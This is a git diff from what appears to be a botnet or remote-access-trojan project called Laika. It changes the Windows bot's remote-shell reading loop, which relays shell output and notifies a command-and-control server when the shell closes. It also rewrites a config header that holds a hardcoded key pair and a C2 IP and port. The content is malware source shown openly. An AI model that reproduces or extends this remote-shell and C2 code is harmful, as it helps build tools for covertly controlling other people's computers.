diff --git a/bot/win/winshell.c b/bot/win/winshell.c index c6d3a79..223886e 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -161,8 +161,9 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { laikaS_write(sock, readBuf, rd); laikaS_endVarPacket(peer); } else { - if (GetLastError() == ERROR_NO_DATA) - return true; /* recoverable, there was no data to read */ + if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) + return true; /* recoverable, process is still alive */ + /* unrecoverable error */ /* tell cnc shell is closed */ laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); diff --git a/img/demo.gif b/img/demo.gif index b3c5349..82b5b47 100644 Binary files a/img/demo.gif and b/img/demo.gif differ diff --git a/lib/include/lconfig.h b/lib/include/lconfig.h index b7572b5..2702720 100644 --- a/lib/include/lconfig.h +++ b/lib/include/lconfig.h @@ -1,14 +1,14 @@ -#ifndef LAIKA_CONFIG_H -#define LAIKA_CONFIG_H - -/* version info */ -#define LAIKA_VERSION_MAJOR 0 -#define LAIKA_VERSION_MINOR 1 - -/* keys */ -#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27" -#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc" -#define LAIKA_CNC_IP "127.0.0.1" -#define LAIKA_CNC_PORT "13337" - -#endif +#ifndef LAIKA_CONFIG_H +#define LAIKA_CONFIG_H + +/* version info */ +#define LAIKA_VERSION_MAJOR 0 +#define LAIKA_VERSION_MINOR 1 + +/* keys */ +#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27" +#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc" +#define LAIKA_CNC_IP "127.0.0.1" +#define LAIKA_CNC_PORT "13337" + +#endif